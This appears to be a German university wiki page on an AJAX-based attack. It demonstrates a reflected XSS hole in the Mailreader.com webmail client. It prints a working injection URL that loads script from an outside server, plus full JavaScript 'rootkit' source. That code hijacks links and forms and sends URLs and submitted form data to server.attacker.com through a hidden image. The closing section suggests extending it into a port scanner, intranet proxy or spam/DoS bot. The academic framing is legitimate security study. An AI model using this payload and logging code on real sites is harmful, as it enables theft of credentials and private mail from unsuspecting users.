Ajax Sicherheit

From
Jump to: navigation, search

Vorüberlegungen

AJAX

Kommunikation zwischen Browser und Web-Server bei klassischen Web-Applikationen
Als Asynchronous JavaScript And XML (AJAX) wird eine Verknüpfung vorhandener Techniken zur client-seitigen Web-Programmierung verstanden, mit der es möglich ist, über Requests und Responses unabhängig vom Laden einer neuen Seite im Browser mit dem Webserver zu kommunizieren.
Kommunikation zwischen Browser und Web-Server bei Web-Applikationen mit AJAX
In JavaScript lässt sich das XHR (XMLHTTPRequest-Objekt) nutzen, um Requests abzusetzen und eine etwaige Response zu verarbeiten. Viele sogenannte "Web 2.0"-Anwendungen nutzen AJAX, um komfortablere Benutzerschnittstellen zu realisieren; etwa GoogleMail oder RoundCube.

Projekt

Unser Projekt soll betrachten, welche neuen Angriffsmöglichkeiten sich erst durch AJAX ergeben. So kann ein Angreifer JavaScript-Coding (über eine zu konkretisierende Schwachstelle) in die vertrauenswürdige Seite einer Web-Applikation einbringen. Der Benutzer bewegt sich - wie üblich - in der Applikation und sieht die gleichen Inhalte. Diese Inhalte werden jedoch durch das eingeschleuste Coding vom Server angefordert und über dynamisches Anpassen der angezeigten Seite an den Anwender weitergereicht. Somit wird hier unter Zuhilfenahme von AJAX eine Web-Applikation durch das Coding des Angreifers simuliert.

Projektumfeld

Um das Skript zur Nutzung von AJAX in die vertrauenswürdige Seite zu injizieren, nutzen wir eine Schwachstelle im WebMail-Client Mailreader.com in der am Institut für Informatik eingesetzten Version. Hierbei wird der arglose Benutzer animiert, einen manipulierten Link anzuklicken. Derartige Angriffe bezeichnet man als XSS (Cross-Site Scripting). Nach gelungener XSS-Attacke laden wir JavaScript-Code von einer eigenen URL nach. Dieser Code enthält die Funktionalität, die die Web-Applikation - für den Anwender kaum erkennbar - simuliert. Der Angriff besteht also aus folgenden Elementen:

  • Mail mit manipuliertem Link (Social Engineering)
  • Manipulierter Link, der Code in vertrauenswürdige Seite einschleust (XSS)
  • JavaScript-Code, der die Web-Applikation simuliert (AJAX)

Demonstration

Beschreibung

Reflected XSS (Cross-Site Scripting) wie im Projekt verwendet
Der eigentliche Angriff erfolgt über eine XSS-Lücke im Mailreader.

Die Formularfelder auf der Loginseite können mit Hilfe von GET-Parametern vorbelegt werden, der Aufruf der URL http://mailreader.server.com?configLogin=user1 würde dem Feld Benutzername den Wert user1 zuweisen. Derartig übergebene Werte werden nicht validiert, so dass es einem Angreifer möglich ist, HTML-Code einzuschleusen.

Unser konkreter Angriffscode:
http://mailreader.server.com?configLogin="><script src=http://positiveinfinity.net/col/script.js></script><br lang="

Der Code schließt zunächst das input-Tag, fügt dann ein script-Tag ein, welches den Rootkit-Code von einem anderen Server lädt. Zuletzt wird ein harmloses br-Tag eingefügt, was dazu dient, die Seite unverändert erscheinen zu lassen.

Wirkungsprinzip des nachgeladenen JavaScript-Codes
In dem nachgeladenen Javascript-Code wird zunächst die Library jquery definiert. Danach folgen vier Funktionen:

retrievePage(href, data) lädt die Seite an der Adresse href per AJAX; werden im Parameter data Daten übergeben, wird ein Post ausgeführt, andernfalls wird die Seite per GET aufgerufen. Nach dem Laden werden alle body-, head- und html-Tags aus der Seite entfernt und die komplette Seite als innerHTML des aktuellen body-Elements eingefügt.

convertElements() ersetzt die onclick-Handler aller Links sowie die onsubmit-Handler aller Formulare mit einer neuen Funktion, die durch den Aufruf von retrievePage() die angeforderte Seite nachlädt und anschließend per logData() einige Daten auf dem Server des Angreifers speichert.

logData(url, data) speichert die übergebene url und weitere Daten auf dem Server des Angreifers. Dies geschieht, indem ein unsichtbares Bild ans Ende des HTML-Dokuments angehängt wird, welches als src-Attribut ein Logging-Skript auf dem entsprechenden Server angibt, welches wiederum per GET-Parameter die Daten empfängt.

logMe() gibt lediglich eine Statusmeldung in der Konsole von Firebug aus, um anzuzeigen, dass das Rootkit weiterhin aktiv ist.

Der Start des Rootkits erfolgt durch Aufruf der Funktion convertElements(). Von diesem Moment an erfolgen alle folgenden Seitenaufrufe durch das Rootkit und werden gespeichert.

Quelltext

/*
 * jQuery 1.2.6 - New Wave Javascript
 *
 * Copyright (c) 2008 John Resig (jquery.com)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * $Date: 2008-05-24 14:22:17 -0400 (Sat, 24 May 2008) $
 * $Rev: 5685 $
 */

[...]

/** BEGIN XSS **/

retrievePage = function(href, data) {
	data = (data ? data : "");
	_method = (data.length > 0 ? "POST" : "GET");
	
	$.ajax({
		dataType: "html",
		url: href,
		data: data,
		type: _method,
		beforeSend: function(xhr) {
			console.log("Retrieving page: " + href);
		},
		success: function(data, status) {
			data.replace(/(<.?body.*?>)|(<.?head.*?>)|(<.?html.*?>)/gi, "<!-- replaced -->");
			
			console.log(data);
			
			$("body").html(data);
			convertElements();
		},
		error : function(xhr, status, error) {
			alert("An error occured: " + status + " / " + error);
		},
		complete : function(xhr, status) {
			console.log("Done.");
		}
	});
}

logData = function(url, data) {
	data = encodeURIComponent("URL: " + url + " - DATA: " + data);
	
	$("<img src='http://server.attacker.com/log.php?log=" + data + "' style='display:none' />").appendTo("body");
}

convertElements = function() {
	$("a").click(function() {
		_href = $(this).attr("href");

		retrievePage(_href);
		logData(_href, "");
		
		return false;
	});
	
	$("form").submit(function() {
		_action = $(this).attr("action");
		_data = $(this).serialize();
		
		retrievePage(_action, _data);
		logData(_action, _data);
		
		return false;
	});
}

logMe = function() {
	console.log("still here... " + new Date().getTime());
	window.setTimeout("logMe()", 5000);
}

convertElements();
logMe();

Fazit

Das Projekt hat gezeigt, dass AJAX als Basis für Angriffe auf Web-Applikationen einsetzbar ist. Wie beschrieben, wird zum Injizieren des entsprechenden Angriffs-Codes eine Sicherheitslücke benötigt; in dem hier beschriebenen Projekt war dies eine Sicherheitslücke, die einen XSS-Angriff erlaubte. Der Mechanismus eines im Hintergrund laufenden Skriptes, welches bei Benutzeraktionen auf der Seite (Anklicken von Links, Submit eines Formulars) den HTTP-Request unterdrückt und via XHR Request und Response zum Aktualisieren der Seiten-Inhalte abwickelt, hat jedoch weiteres Potential. So könnte die AJAX-Anwendung ausgebaut werden und als Port-Scanner oder Proxy-Server für Seiten eines per Firewall geschützten Intranets genutzt werden. Letztlich wäre ein Ausbau bis zum Web-Applikationen-Rootkit, welches periodisch einen Angreifer-Server nach Aufträgen fragt und ggf. Spam-Mails versendet oder sich an Denial-of-Service-Attacken beteiligt, denkbar.

Quellen

Eilers, Carsten: Ajax Security. Sichere Web 2.0-Anwendungen. Unterhaching 2008.
Garfinkel, Simson / Spafford, Gene: Web Security, Privacy & Commerce. 2nd Edition O’ Reilly 2002.
Mintert, Steffen / Leisegang, Christoph: Ajax. Grundlagen, Frameworks und Praxislösungen. 1. Auflage. Dpunkt.verlag: Heidelberg 2007.
Stuttard, Dafydd / Pinto, Marcus: The Web application Hacker's handbook. Discovering and exploiting security flaws. Indianapolis 2008.